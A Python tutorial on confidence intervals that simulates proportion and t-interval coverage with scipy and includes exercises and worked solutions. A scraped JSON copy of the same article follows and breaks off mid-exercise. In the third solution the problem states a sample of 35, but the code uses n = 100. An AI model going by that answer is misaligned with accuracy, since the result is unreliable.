Notice that about 96% of our sample intervals contain the true proportion p. This number will converge to 95% as the number of samples increase. number_trials = 2000j=0for i in range(number_trials): p_hat = bernoulli.rvs(p=p, size=n) p_hat = p_hat[p_hat==1].shape[0] / p_hat.shape[0] SE_hat_p = 2*np.sqrt(p_hat*(1-p_hat)/n) if (p>p_hat-SE_hat_p) & (p<p_hat+SE_hat_p): # interval contains p j +=1print(f'{j}/{number_trials}={np.round(j/number_trials,2)}')1877/2000=0.94 What if we were interested in the 99% Confidence Interval? We need to calculate the critical value, also known as z*, for that specific confidence level. The critical value is nothing else than the number of standard deviations below and above the mean that we need to get to capture the desired confidence level (99%). Notice that using a z-table or when using the norm.ppf from scipy, remember that the values that you get are for a single tail confidence interval. This is not what we want, so we need to get the value for 99.5% instead (leaving 0.5% on each tail of the distribution gives the 99% confidence). CI = 0.99critical_value = norm.ppf(CI+(1-CI)/2) # we want the critical value for a two-tail distributioncritical_value2.5758293035489004 There is a 99% chance that p is within: number_trials = 1000j=0for i in range(number_trials): p_hat = bernoulli.rvs(p=p, size=n) p_hat = p_hat[p_hat==1].shape[0] / p_hat.shape[0] SE_hat_p = critical_value*np.sqrt(p_hat*(1-p_hat)/n) if (p>p_hat-SE_hat_p) & (p<p_hat+SE_hat_p): # interval contains p j +=1print(f'{j}/{number_trials}={np.round(j/number_trials,2)}')994/1000=0.99 Let’s start by recalling the conditions for valid intervals for a proportion: The sample has to be random. A normal distribution can approximate the sampling distribution of the sample proportions. The rule of thumb is that you need to have at least 10 successes and 10 failures. The samples are required to be independent. The rule of thumb is that if you are sampling without replacement, your sample size should be less than 10% of the population size. To help us understand the implications, we will exemplify what happens when one of the conditions is not met. First, let’s create a function to compute the confidence intervals and plot the last 50 samples. def confidence_interval(p, n, number_trials, N, ci=0.95, sample='random'): p_ = bernoulli.rvs(p=p, size=N) p_hat_list = [] SE_hat_p_list = [] if sample!='random': # Inducing bias on the sampling p_.sort() p_ = p_[:-int(0.2*N)] np.random.shuffle(p_) for i in range(number_trials): s_ = np.random.choice(p_, n, replace=False) p_hat = s_[s_==1].shape[0] / s_.shape[0] p_hat_list.append(p_hat) SE_hat_p_list.append(2*np.sqrt(p_hat*(1-p_hat)/n)) j=0 _, ax = plt.subplots(1, 1, figsize=(6, 8)) for i in range(len(p_hat_list)): if (p>p_hat_list[i]-SE_hat_p_list[i]) & (p<p_hat_list[i]+SE_hat_p_list[i]): # interval contains p if i > len(p_hat_list)-50: ax.errorbar(p_hat_list[i], np.arange(len(p_hat_list))[i],lolims=True, xerr=SE_hat_p_list[i], yerr=0.0, linestyle='', c='black') j +=1 else: # interval does not contain p if i > len(p_hat_list)-50: ax.errorbar(p_hat_list[i], np.arange(len(p_hat_list))[i],lolims=True, xerr=SE_hat_p_list[i], yerr=0.0, linestyle='', c='red') ax.axvline(0.61, color='darkorange') plt.xlim(0,1) plt.show() print(f'{j}/{number_trials}={np.round(j/number_trials,2)}') The first example is the case where our sample is not random, i.e., there is some bias that we are introducing by the way that we are sampling from the population. Referring to our context, this could mean that our group of students is surveying people outside of the school’s Comedy Club, with whom the Chandler jokes land more effectively. Our confidence suddenly drops to less than 90%. confidence_interval(p=0.61, n=35, number_trials=1000, N=500, sample='not_random') 884/1000=0.88 The second case is the fact that we can not assume that our sampling distribution is normal. Notice that our sampling size is 10, which does not guarantee more than 10 successes and failures. Once again, even though we calculate the 95% confidence interval, the percentage of times where the true proportion p is inside the calculated interval is around 90%. n = 10print('Normal conditions:')print('successes >= 10: ' + str(n*p_hat >= 10))print('failures >= 10 : ' + str(n*(1-p_hat) >= 10))Normal conditions:successes >= 10: Falsefailures >= 10 : Falseconfidence_interval(p=0.61, n=10, number_trials=1000, N=500) 897/1000=0.9 Finally, the last condition is the independence between samples. If the rule of thumb of the 10% is not met, we can not assume independence. Once again, our confidence drops to close to 90%. n = 150N=600print('Independence condition:')print(n/N < 0.1)Independence condition:Falseconfidence_interval(p=0.61, n=n, number_trials=1000, N=N) 904/1000=0.9 Now that we saw all cases where the conditions are not met let’s create one that passes all 3 tests. confidence_interval(p=0.61, n=35, number_trials=1000, N=500) 947/1000=0.95 Our confidence converges effectively to 95%. We can feel confident about our confidence. We have been solving the problem of estimating the population proportion, which percentage of the population prefers Ross’s humor over Chandler’s. A different problem is the estimation of the mean of a population. Let’s see the main differences. When we estimated the confidence interval for the population proportion, we defined: Following the same principle, we would define the population mean as, Notice that we do not know our population standard deviation, so we use our best estimate, the sample standard deviation. Unfortunately, if we were to use this approach to calculate our confidence interval, we would be underestimating the actual interval. To achieve 95% confidence, we need to use a different critical value based on a t-distribution. Let’s do a couple of experiments to prove our point. First, we define the confidence interval for the mean based on the sample standard deviation but calculating the critical value from a normal distribution. def confidence_interval_mean(μ, σ, n, number_trials, N, ci=0.95, sample='random'): x_ = norm.rvs(loc=μ, scale=σ, size=N) x_hat_list = [] SE_hat_x_list = [] if sample!='random': # Inducing bias on the sampling x_.sort() x_ = x_[:-int(0.2*N)] np.random.shuffle(x_) for i in range(number_trials): s_ = np.random.choice(x_, n, replace=False) x_hat = np.mean(s_) x_hat_list.append(x_hat) SE_hat_x_list.append(norm.ppf(ci+(1-ci)/2)*np.std(s_)/np.sqrt(n)) j=0 _, ax = plt.subplots(1, 1, figsize=(6, 8)) for i in range(len(x_hat_list)): if (μ>x_hat_list[i]-SE_hat_x_list[i]) & (μ<x_hat_list[i]+SE_hat_x_list[i]): # interval contains p if i > len(x_hat_list)-50: ax.errorbar(x_hat_list[i], np.arange(len(x_hat_list))[i],lolims=True, xerr=SE_hat_x_list[i], yerr=0.0, linestyle='', c='black') j +=1 else: # interval does not contain p if i > len(x_hat_list)-50: ax.errorbar(x_hat_list[i], np.arange(len(x_hat_list))[i],lolims=True, xerr=SE_hat_x_list[i], yerr=0.0, linestyle='', c='red') ax.axvline(μ, color='darkorange') #plt.xlim(0,1) plt.show() print(f'{j}/{number_trials}={np.round(j/number_trials,2)}')confidence_interval_mean(2, 0.5, 12, 2000, 1000) 1837/2000=0.92 What we were expecting happened, as the true mean is only contained in our confidence intervals 92% of the time. This is not intended, as we are calculating the 95% confidence intervals for the mean. In the second experiment, the critical value used is now calculated from a t-distribution. def confidence_interval_mean_t(μ, σ, n, number_trials, N, ci=0.95, sample='random'): x_ = norm.rvs(loc=μ, scale=σ, size=N) x_hat_list = [] SE_hat_x_list = [] if sample!='random': # Inducing bias on the sampling x_.sort() x_ = x_[:-int(0.2*N)] np.random.shuffle(x_) for i in range(number_trials): s_ = np.random.choice(x_, n, replace=False) x_hat = np.mean(s_) x_hat_list.append(x_hat) SE_hat_x_list.append(t.ppf(ci+(1-ci)/2, df=n-1)*np.std(s_)/np.sqrt(n)) j=0 _, ax = plt.subplots(1, 1, figsize=(6, 8)) for i in range(len(x_hat_list)): if (μ>x_hat_list[i]-SE_hat_x_list[i]) & (μ<x_hat_list[i]+SE_hat_x_list[i]): # interval contains p if i > len(x_hat_list)-50: ax.errorbar(x_hat_list[i], np.arange(len(x_hat_list))[i],lolims=True, xerr=SE_hat_x_list[i], yerr=0.0, linestyle='', c='black') j +=1 else: # interval does not contain p if i > len(x_hat_list)-50: ax.errorbar(x_hat_list[i], np.arange(len(x_hat_list))[i],lolims=True, xerr=SE_hat_x_list[i], yerr=0.0, linestyle='', c='red') ax.axvline(μ, color='darkorange') #plt.xlim(0,1) plt.show() print(f'{j}/{number_trials}={np.round(j/number_trials,2)}')confidence_interval_mean_t(2, 0.5, 12, 2000, 1000) 1892/2000=0.95 Our confidence converges effectively to 95%. Once again, we can feel confident about our confidence. We already saw the conditions for valid intervals for a proportion. In the case of t intervals, the same rules apply. The difference is on how to validate if our distribution can be considered normal. : The sample has to be random. The sampling distribution of the sample mean can be approximated by a normal distribution. There are three ways to achieve it: sample size is bigger than 30 (central limit theorem applies), original distribution is normal, or the original distribution is symmetric. The samples are required to be independent. The rule of thumb is that if you are sampling without replacement, your sample size should be less than 10% of the population size. We leave the experiments to prove the bullets presented above as an exercise for this week. In this article, we covered concepts such as confidence intervals and margin of error. We started by defining and computing confidence intervals for sample proportions. There are 3 conditions that must be met for us to compute such confidence intervals. We simulated 3 scenarios where the conditions were not met. By analyzing the effects, we observed the introduction of bias on each scenario which impacted our confidence level. We also addressed the problem of computing confidence intervals for the sample mean. In this case, the critical value used for the computation can not be based on a normal distribution but on a t-distribution. By simulating a large number of samples, we showed how the critical value based on a normal distribution underestimates the actual confidence intervals. Finally, in the same way that we did for the sample proportion, we established the conditions for valid t intervals. You will get the solutions in next week’s article. Change the function confidence_interval_mean_t and build 5 different experiments to calculate a 95% interval for a sample mean, 3 of them where the conditions for a t interval are not met and 2 where they are. For the 3 where the conditions are not met, define the following scenarios: sampling not random, original distribution not approximately normal, and independence not met. For the 2 cases where conditions are met, define one case where the original distribution is normal and another where the original distribution is skewed, but the sampling mean normally distributed. The true population mean should be contained in the calculated confidence intervals 95% of the time for these last two cases. Change the function confidence_interval_mean_t and build 5 different experiments to calculate a 95% interval for a sample mean, 3 of them where the conditions for a t interval are not met and 2 where they are. For the 3 where the conditions are not met, define the following scenarios: sampling not random, original distribution not approximately normal, and independence not met. For the 2 cases where conditions are met, define one case where the original distribution is normal and another where the original distribution is skewed, but the sampling mean normally distributed. The true population mean should be contained in the calculated confidence intervals 95% of the time for these last two cases. Hint: you might find it useful to use the function skewnorm from scipy. Below, you have a modified version of a normal distribution skewed by a skewness parameter, mean and standard deviation. # code adapted from https://stackoverflow.com/questions/49367436/scipy-skewnorm-mean-not-matching-theoryskew = 4.0mean = 2stdev = 0.5delta = skew / math.sqrt(1. + math.pow(skew, 2.))adjStdev = math.sqrt(math.pow(stdev, 2.) / (1. - 2. * math.pow(delta, 2.) / math.pi))adjMean = mean - adjStdev * math.sqrt(2. / math.pi) * deltaprint('target mean={:.4f} actual mean={:.4f}'.format(mean, float(skewnorm.stats(skew, loc=adjMean, scale=adjStdev, moments='mvsk')[0])))print('target stdev={:.4f} actual stdev={:.4f}'.format(stdev, math.sqrt(float(skewnorm.stats(skew, loc=adjMean, scale=adjStdev, moments='mvsk')[1]))))target mean=2.0000 actual mean=2.0000target stdev=0.5000 actual stdev=0.5000# Original skewed distributionplt.hist(skewnorm.rvs(a = skew, loc=adjMean, scale=adjStdev, size=2000), bins=50); # Approximately normal distribution of the sample mean because sample # size is bigger than 30 (CTL applies)plt.hist(np.mean([skewnorm.rvs(a = skew, loc=adjMean, scale=adjStdev, size=35) for _ in range(2000)], axis=1), bins=50); Rick takes an SRS of 75 citizens on a distant planet to see what proportion of citizens sampled are satisfied with their standard of living. Suppose that 60% of the 1,000,000,000 citizens who live on the planet are satisfied with their living standards. What are the mean and standard deviation of the sampling distribution of the proportion of citizens satisfied with their standard of living? Rick takes an SRS of 75 citizens on a distant planet to see what proportion of citizens sampled are satisfied with their standard of living. Suppose that 60% of the 1,000,000,000 citizens who live on the planet are satisfied with their living standards. What are the mean and standard deviation of the sampling distribution of the proportion of citizens satisfied with their standard of living? mu_hat_p = 0.6print(mu_hat_p)sigma_p_hat = np.sqrt(0.6*(1-0.6)/75)print(sigma_p_hat)0.60.0565685424949238 2. A certain planet with over 1,000,000 households has a mean household income of $1,000,000 with a standard deviation of $150,000. Rick plans to take random samples of 700 households and calculate the sample mean income. Calculate the mean and standard deviation of the sampling distribution of x̄. μ = 1000000σ = 150000n = 700print(f'μ_x_bar = {μ}')print(f'σ_x_bar = {σ/n**(1/2)}')μ_x_bar = 1000000σ_x_bar = 5669.467095138409 3. Rick is performing quality control tests on different portal guns since there is some variability in the manufacturing process. A certain gun has a target thickness of 5mm. The thickness distribution is skewed to the right with a mean of 5mm and a standard deviation of 1mm. A quality control check on this part involves taking a random sample of 35 points and calculating the mean thickness of those points. What is the shape of the sampling distribution of the sample mean thickness? What is the probability that the mean thickness in the sample is within 0.2mm of the target value? # Since n = 35 >= 30, the central limit theorem applies.# Even though the population is skewed to the right, the sample means# are normally distributed due to the sample size.μ = 5σ = 1n = 100norm.cdf(5.2, μ, σ/n**(1/2)) - norm.cdf(4.8, μ, σ/n**(1/2))0.9544997361036418
[ { "code": null, "e": 264, "s": 172, "text": "In a series of weekly articles, I will cover some important statistics topics with a twist." }, { "code": null, "e": 564, "s": 264, "text": "The goal is to use Python to help us get intuition on complex concepts, empirically test theoretical proofs, or build algorithms from scratch. In this series, you will find articles covering topics such as random variables, sampling distributions, confidence intervals, significance tests, and more." }, { "code": null, "e": 706, "s": 564, "text": "At the end of each article, you can find exercises to test your knowledge. The solutions will be shared in the article of the following week." }, { "code": null, "e": 733, "s": 706, "text": "Articles published so far:" }, { "code": null, "e": 785, "s": 733, "text": "Bernoulli and Binomial Random Variables with Python" }, { "code": null, "e": 853, "s": 785, "text": "From Binomial to Geometric and Poisson Random Variables with Python" }, { "code": null, "e": 910, "s": 853, "text": "Sampling Distribution of a Sample Proportion with Python" }, { "code": null, "e": 943, "s": 910, "text": "Confidence Intervals with Python" }, { "code": null, "e": 974, "s": 943, "text": "Significance Tests with Python" }, { "code": null, "e": 1041, "s": 974, "text": "Two-sample Inference for the Difference Between Groups with Python" }, { "code": null, "e": 1072, "s": 1041, "text": "Inference for Categorical Data" }, { "code": null, "e": 1092, "s": 1072, "text": "Advanced Regression" }, { "code": null, "e": 1121, "s": 1092, "text": "Analysis of Variance — ANOVA" }, { "code": null, "e": 1167, "s": 1121, "text": "As usual, the code is available on my GitHub." }, { "code": null, "e": 1303, "s": 1167, "text": "A group of students tried to understand which character of friends was the funniest, narrowing it down to Chandler Bing or Ross Geller." }, { "code": null, "e": 1832, "s": 1303, "text": "They were interested in the likelihood of Ross actually winning since he has a very awkward sense of humor compared to Chandler's sarcastic and witty sense of humor. They decided to set up a poll in their school. Ideally, they would ask the entire population, but shortly they understood that it would not be feasible to ask the 5,000 students their preference. Instead, they decided to take random samples of 40 students and calculate the sample proportion that supported Ross. The first value that they arrived at was p̂=0.61." }, { "code": null, "e": 2026, "s": 1832, "text": "Notice that to continue with their study, the group of students needs to make sure that the conditions to calculate a valid confidence interval for a proportion are met. There are 3 conditions:" }, { "code": null, "e": 2055, "s": 2026, "text": "The sample has to be random." }, { "code": null, "e": 2228, "s": 2055, "text": "A normal distribution can approximate the sampling distribution of the sample proportions. The rule of thumb is that you need to have at least 10 successes and 10 failures." }, { "code": null, "e": 2404, "s": 2228, "text": "The samples are required to be independent. The rule of thumb is that if you are sampling without replacement, your sample size should be less than 10% of the population size." }, { "code": null, "e": 2833, "s": 2404, "text": "import numpy as npimport seaborn as snsimport mathfrom scipy.stats import bernoulli, norm, t, skewnormimport matplotlib.pyplot as pltp_hat = 0.61n = 40print('Normal conditions:')print('successes >= 10: ' + str(n*p_hat >= 10))print('failures >= 10 : ' + str(n*(1-p_hat) >= 10))print('--')print('Independence condition:')print(40/5000 < 0.1)Normal conditions:successes >= 10: Truefailures >= 10 : True--Independence condition:True" }, { "code": null, "e": 3074, "s": 2833, "text": "All the conditions are met, the group of students could now focus on building the sampling distribution of the sample proportions; from this distribution, they calculated the possible sample proportions they could get and their likelihoods." }, { "code": null, "e": 3224, "s": 3074, "text": "We already saw that the mean of the sampling distribution is the actual population proportion p and the standard deviation of the sample proportions:" }, { "code": null, "e": 3353, "s": 3224, "text": "Let’s start to connect these concepts with the concept of confidence intervals. What is the probability that p̂ = 0.61 is within" }, { "code": null, "e": 3482, "s": 3353, "text": "For a normal distribution, this is approximately 95%. This is equivalent to say that there is a 95% probability that p is within" }, { "code": null, "e": 3542, "s": 3482, "text": "And this is the fundamental idea for a confidence interval." }, { "code": null, "e": 3686, "s": 3542, "text": "Now, we have a problem. We do not know p, so we need to use an estimate. The best estimate that we have is naturally p̂. Thus, instead of using" }, { "code": null, "e": 3713, "s": 3686, "text": "we use the Standard Error:" }, { "code": null, "e": 3750, "s": 3713, "text": "to compute our confidence intervals." }, { "code": null, "e": 4030, "s": 3750, "text": "SE_hat_p = np.sqrt(p_hat*(1-p_hat)/n)print(f'With 95% confidence between {np.round(p_hat - 2*SE_hat_p, 2)} and {np.round(p_hat + 2*SE_hat_p, 2)} of students prefer the awkward humor of Ross.')With 95% confidence between 0.46 and 0.76 of students prefer the awkward humor of Ross." }, { "code": null, "e": 4245, "s": 4030, "text": "Notice that our confidence interval calculated above can change based on what sample proportion we actually choose. If the group of students sample again 40 new students the new sample proportion could now be 0.55." }, { "code": null, "e": 4543, "s": 4245, "text": "p_hat = 0.55n = 40SE_hat_p = np.sqrt(p_hat*(1-p_hat)/n)print(f'With 95% confidence between {np.round(p_hat - 2*SE_hat_p, 2)} and {np.round(p_hat + 2*SE_hat_p, 2)} of students prefer the awkward humor of Ross.')With 95% confidence between 0.39 and 0.71 of students prefer the awkward humor of Ross." }, { "code": null, "e": 4715, "s": 4543, "text": "We can connect this concept with the margin of error. The margin of error for our first trial (knowing that we are interested in getting 95% confidence) is 2 times our SE." }, { "code": null, "e": 4996, "s": 4715, "text": "An interesting question that often arises is “what can you do to reduce the margin of error”? Notice that the margin of error is dependent on SE, which is inversely proportional to the sample size. So, one possible way to reduce the margin of error is to increase the sample size." }, { "code": null, "e": 5074, "s": 4996, "text": "print(f'Margin of error = {2*SE_hat_p}')Margin of error = 0.15732132722552272" }, { "code": null, "e": 5203, "s": 5074, "text": "Again, the same reasoning applies. Depending on what our sample proportion is, our margin of error could have a different value." }, { "code": null, "e": 5421, "s": 5203, "text": "The idea is that if we use this method of computing confidence intervals repeatedly, it will produce different intervals each time (depending on the sample proportion) that include the true proportion 95% of the time." }, { "code": null, "e": 6332, "s": 5421, "text": "confidence_interval=0.95p = 0.61n = 50number_trials = 25p_hat_list = []SE_hat_p_list = []for i in range(number_trials): s_ = bernoulli.rvs(p=p, size=n) p_hat = s_[s_==1].shape[0] / s_.shape[0] p_hat_list.append(p_hat) SE_hat_p_list.append(2*np.sqrt(p_hat*(1-p_hat)/n))j=0_, ax = plt.subplots(1, 1, figsize=(6, 8))for i in range(len(p_hat_list)): if (p>p_hat_list[i]-SE_hat_p_list[i]) & (p<p_hat_list[i]+SE_hat_p_list[i]): # interval contains p ax.errorbar(p_hat_list[i], np.arange(len(p_hat_list))[i],lolims=True, xerr=SE_hat_p_list[i], yerr=0.0, linestyle='', c='black') j +=1 else: # interval does not contain p ax.errorbar(p_hat_list[i], np.arange(len(p_hat_list))[i],lolims=True, xerr=SE_hat_p_list[i], yerr=0.0, linestyle='', c='red')ax.axvline(0.61, color='darkorange')plt.xlim(0,1)plt.show()print(f'{j}/{number_trials}={np.round(j/number_trials,2)}')" }, { "code": null, "e": 6343, "s": 6332, "text": "24/25=0.96" }, { "code": null, "e": 6402, "s": 6343, "text": "We are plotting the sample proportion p̂ and the interval:" }, { "code": null, "e": 6547, "s": 6402, "text": "Notice that about 96% of our sample intervals contain the true proportion p. This number will converge to 95% as the number of samples increase." }, { "code": null, "e": 6897, "s": 6547, "text": "number_trials = 2000j=0for i in range(number_trials): p_hat = bernoulli.rvs(p=p, size=n) p_hat = p_hat[p_hat==1].shape[0] / p_hat.shape[0] SE_hat_p = 2*np.sqrt(p_hat*(1-p_hat)/n) if (p>p_hat-SE_hat_p) & (p<p_hat+SE_hat_p): # interval contains p j +=1print(f'{j}/{number_trials}={np.round(j/number_trials,2)}')1877/2000=0.94" }, { "code": null, "e": 7511, "s": 6897, "text": "What if we were interested in the 99% Confidence Interval? We need to calculate the critical value, also known as z*, for that specific confidence level. The critical value is nothing else than the number of standard deviations below and above the mean that we need to get to capture the desired confidence level (99%). Notice that using a z-table or when using the norm.ppf from scipy, remember that the values that you get are for a single tail confidence interval. This is not what we want, so we need to get the value for 99.5% instead (leaving 0.5% on each tail of the distribution gives the 99% confidence)." }, { "code": null, "e": 7648, "s": 7511, "text": "CI = 0.99critical_value = norm.ppf(CI+(1-CI)/2) # we want the critical value for a two-tail distributioncritical_value2.5758293035489004" }, { "code": null, "e": 7688, "s": 7648, "text": "There is a 99% chance that p is within:" }, { "code": null, "e": 8050, "s": 7688, "text": "number_trials = 1000j=0for i in range(number_trials): p_hat = bernoulli.rvs(p=p, size=n) p_hat = p_hat[p_hat==1].shape[0] / p_hat.shape[0] SE_hat_p = critical_value*np.sqrt(p_hat*(1-p_hat)/n) if (p>p_hat-SE_hat_p) & (p<p_hat+SE_hat_p): # interval contains p j +=1print(f'{j}/{number_trials}={np.round(j/number_trials,2)}')994/1000=0.99" }, { "code": null, "e": 8128, "s": 8050, "text": "Let’s start by recalling the conditions for valid intervals for a proportion:" }, { "code": null, "e": 8157, "s": 8128, "text": "The sample has to be random." }, { "code": null, "e": 8330, "s": 8157, "text": "A normal distribution can approximate the sampling distribution of the sample proportions. The rule of thumb is that you need to have at least 10 successes and 10 failures." }, { "code": null, "e": 8506, "s": 8330, "text": "The samples are required to be independent. The rule of thumb is that if you are sampling without replacement, your sample size should be less than 10% of the population size." }, { "code": null, "e": 8713, "s": 8506, "text": "To help us understand the implications, we will exemplify what happens when one of the conditions is not met. First, let’s create a function to compute the confidence intervals and plot the last 50 samples." }, { "code": null, "e": 10007, "s": 8713, "text": "def confidence_interval(p, n, number_trials, N, ci=0.95, sample='random'): p_ = bernoulli.rvs(p=p, size=N) p_hat_list = [] SE_hat_p_list = [] if sample!='random': # Inducing bias on the sampling p_.sort() p_ = p_[:-int(0.2*N)] np.random.shuffle(p_) for i in range(number_trials): s_ = np.random.choice(p_, n, replace=False) p_hat = s_[s_==1].shape[0] / s_.shape[0] p_hat_list.append(p_hat) SE_hat_p_list.append(2*np.sqrt(p_hat*(1-p_hat)/n)) j=0 _, ax = plt.subplots(1, 1, figsize=(6, 8)) for i in range(len(p_hat_list)): if (p>p_hat_list[i]-SE_hat_p_list[i]) & (p<p_hat_list[i]+SE_hat_p_list[i]): # interval contains p if i > len(p_hat_list)-50: ax.errorbar(p_hat_list[i], np.arange(len(p_hat_list))[i],lolims=True, xerr=SE_hat_p_list[i], yerr=0.0, linestyle='', c='black') j +=1 else: # interval does not contain p if i > len(p_hat_list)-50: ax.errorbar(p_hat_list[i], np.arange(len(p_hat_list))[i],lolims=True, xerr=SE_hat_p_list[i], yerr=0.0, linestyle='', c='red') ax.axvline(0.61, color='darkorange') plt.xlim(0,1) plt.show() print(f'{j}/{number_trials}={np.round(j/number_trials,2)}')" }, { "code": null, "e": 10397, "s": 10007, "text": "The first example is the case where our sample is not random, i.e., there is some bias that we are introducing by the way that we are sampling from the population. Referring to our context, this could mean that our group of students is surveying people outside of the school’s Comedy Club, with whom the Chandler jokes land more effectively. Our confidence suddenly drops to less than 90%." }, { "code": null, "e": 10479, "s": 10397, "text": "confidence_interval(p=0.61, n=35, number_trials=1000, N=500, sample='not_random')" }, { "code": null, "e": 10493, "s": 10479, "text": "884/1000=0.88" }, { "code": null, "e": 10852, "s": 10493, "text": "The second case is the fact that we can not assume that our sampling distribution is normal. Notice that our sampling size is 10, which does not guarantee more than 10 successes and failures. Once again, even though we calculate the 95% confidence interval, the percentage of times where the true proportion p is inside the calculated interval is around 90%." }, { "code": null, "e": 11106, "s": 10852, "text": "n = 10print('Normal conditions:')print('successes >= 10: ' + str(n*p_hat >= 10))print('failures >= 10 : ' + str(n*(1-p_hat) >= 10))Normal conditions:successes >= 10: Falsefailures >= 10 : Falseconfidence_interval(p=0.61, n=10, number_trials=1000, N=500)" }, { "code": null, "e": 11119, "s": 11106, "text": "897/1000=0.9" }, { "code": null, "e": 11310, "s": 11119, "text": "Finally, the last condition is the independence between samples. If the rule of thumb of the 10% is not met, we can not assume independence. Once again, our confidence drops to close to 90%." }, { "code": null, "e": 11456, "s": 11310, "text": "n = 150N=600print('Independence condition:')print(n/N < 0.1)Independence condition:Falseconfidence_interval(p=0.61, n=n, number_trials=1000, N=N)" }, { "code": null, "e": 11469, "s": 11456, "text": "904/1000=0.9" }, { "code": null, "e": 11570, "s": 11469, "text": "Now that we saw all cases where the conditions are not met let’s create one that passes all 3 tests." }, { "code": null, "e": 11631, "s": 11570, "text": "confidence_interval(p=0.61, n=35, number_trials=1000, N=500)" }, { "code": null, "e": 11645, "s": 11631, "text": "947/1000=0.95" }, { "code": null, "e": 11734, "s": 11645, "text": "Our confidence converges effectively to 95%. We can feel confident about our confidence." }, { "code": null, "e": 12065, "s": 11734, "text": "We have been solving the problem of estimating the population proportion, which percentage of the population prefers Ross’s humor over Chandler’s. A different problem is the estimation of the mean of a population. Let’s see the main differences. When we estimated the confidence interval for the population proportion, we defined:" }, { "code": null, "e": 12135, "s": 12065, "text": "Following the same principle, we would define the population mean as," }, { "code": null, "e": 12487, "s": 12135, "text": "Notice that we do not know our population standard deviation, so we use our best estimate, the sample standard deviation. Unfortunately, if we were to use this approach to calculate our confidence interval, we would be underestimating the actual interval. To achieve 95% confidence, we need to use a different critical value based on a t-distribution." }, { "code": null, "e": 12696, "s": 12487, "text": "Let’s do a couple of experiments to prove our point. First, we define the confidence interval for the mean based on the sample standard deviation but calculating the critical value from a normal distribution." }, { "code": null, "e": 14044, "s": 12696, "text": "def confidence_interval_mean(μ, σ, n, number_trials, N, ci=0.95, sample='random'): x_ = norm.rvs(loc=μ, scale=σ, size=N) x_hat_list = [] SE_hat_x_list = [] if sample!='random': # Inducing bias on the sampling x_.sort() x_ = x_[:-int(0.2*N)] np.random.shuffle(x_) for i in range(number_trials): s_ = np.random.choice(x_, n, replace=False) x_hat = np.mean(s_) x_hat_list.append(x_hat) SE_hat_x_list.append(norm.ppf(ci+(1-ci)/2)*np.std(s_)/np.sqrt(n)) j=0 _, ax = plt.subplots(1, 1, figsize=(6, 8)) for i in range(len(x_hat_list)): if (μ>x_hat_list[i]-SE_hat_x_list[i]) & (μ<x_hat_list[i]+SE_hat_x_list[i]): # interval contains p if i > len(x_hat_list)-50: ax.errorbar(x_hat_list[i], np.arange(len(x_hat_list))[i],lolims=True, xerr=SE_hat_x_list[i], yerr=0.0, linestyle='', c='black') j +=1 else: # interval does not contain p if i > len(x_hat_list)-50: ax.errorbar(x_hat_list[i], np.arange(len(x_hat_list))[i],lolims=True, xerr=SE_hat_x_list[i], yerr=0.0, linestyle='', c='red') ax.axvline(μ, color='darkorange') #plt.xlim(0,1) plt.show() print(f'{j}/{number_trials}={np.round(j/number_trials,2)}')confidence_interval_mean(2, 0.5, 12, 2000, 1000)" }, { "code": null, "e": 14059, "s": 14044, "text": "1837/2000=0.92" }, { "code": null, "e": 14259, "s": 14059, "text": "What we were expecting happened, as the true mean is only contained in our confidence intervals 92% of the time. This is not intended, as we are calculating the 95% confidence intervals for the mean." }, { "code": null, "e": 14350, "s": 14259, "text": "In the second experiment, the critical value used is now calculated from a t-distribution." }, { "code": null, "e": 15707, "s": 14350, "text": "def confidence_interval_mean_t(μ, σ, n, number_trials, N, ci=0.95, sample='random'): x_ = norm.rvs(loc=μ, scale=σ, size=N) x_hat_list = [] SE_hat_x_list = [] if sample!='random': # Inducing bias on the sampling x_.sort() x_ = x_[:-int(0.2*N)] np.random.shuffle(x_) for i in range(number_trials): s_ = np.random.choice(x_, n, replace=False) x_hat = np.mean(s_) x_hat_list.append(x_hat) SE_hat_x_list.append(t.ppf(ci+(1-ci)/2, df=n-1)*np.std(s_)/np.sqrt(n)) j=0 _, ax = plt.subplots(1, 1, figsize=(6, 8)) for i in range(len(x_hat_list)): if (μ>x_hat_list[i]-SE_hat_x_list[i]) & (μ<x_hat_list[i]+SE_hat_x_list[i]): # interval contains p if i > len(x_hat_list)-50: ax.errorbar(x_hat_list[i], np.arange(len(x_hat_list))[i],lolims=True, xerr=SE_hat_x_list[i], yerr=0.0, linestyle='', c='black') j +=1 else: # interval does not contain p if i > len(x_hat_list)-50: ax.errorbar(x_hat_list[i], np.arange(len(x_hat_list))[i],lolims=True, xerr=SE_hat_x_list[i], yerr=0.0, linestyle='', c='red') ax.axvline(μ, color='darkorange') #plt.xlim(0,1) plt.show() print(f'{j}/{number_trials}={np.round(j/number_trials,2)}')confidence_interval_mean_t(2, 0.5, 12, 2000, 1000)" }, { "code": null, "e": 15722, "s": 15707, "text": "1892/2000=0.95" }, { "code": null, "e": 15823, "s": 15722, "text": "Our confidence converges effectively to 95%. Once again, we can feel confident about our confidence." }, { "code": null, "e": 16026, "s": 15823, "text": "We already saw the conditions for valid intervals for a proportion. In the case of t intervals, the same rules apply. The difference is on how to validate if our distribution can be considered normal. :" }, { "code": null, "e": 16055, "s": 16026, "text": "The sample has to be random." }, { "code": null, "e": 16321, "s": 16055, "text": "The sampling distribution of the sample mean can be approximated by a normal distribution. There are three ways to achieve it: sample size is bigger than 30 (central limit theorem applies), original distribution is normal, or the original distribution is symmetric." }, { "code": null, "e": 16497, "s": 16321, "text": "The samples are required to be independent. The rule of thumb is that if you are sampling without replacement, your sample size should be less than 10% of the population size." }, { "code": null, "e": 16589, "s": 16497, "text": "We leave the experiments to prove the bullets presented above as an exercise for this week." }, { "code": null, "e": 17020, "s": 16589, "text": "In this article, we covered concepts such as confidence intervals and margin of error. We started by defining and computing confidence intervals for sample proportions. There are 3 conditions that must be met for us to compute such confidence intervals. We simulated 3 scenarios where the conditions were not met. By analyzing the effects, we observed the introduction of bias on each scenario which impacted our confidence level." }, { "code": null, "e": 17500, "s": 17020, "text": "We also addressed the problem of computing confidence intervals for the sample mean. In this case, the critical value used for the computation can not be based on a normal distribution but on a t-distribution. By simulating a large number of samples, we showed how the critical value based on a normal distribution underestimates the actual confidence intervals. Finally, in the same way that we did for the sample proportion, we established the conditions for valid t intervals." }, { "code": null, "e": 17551, "s": 17500, "text": "You will get the solutions in next week’s article." }, { "code": null, "e": 18257, "s": 17551, "text": "Change the function confidence_interval_mean_t and build 5 different experiments to calculate a 95% interval for a sample mean, 3 of them where the conditions for a t interval are not met and 2 where they are. For the 3 where the conditions are not met, define the following scenarios: sampling not random, original distribution not 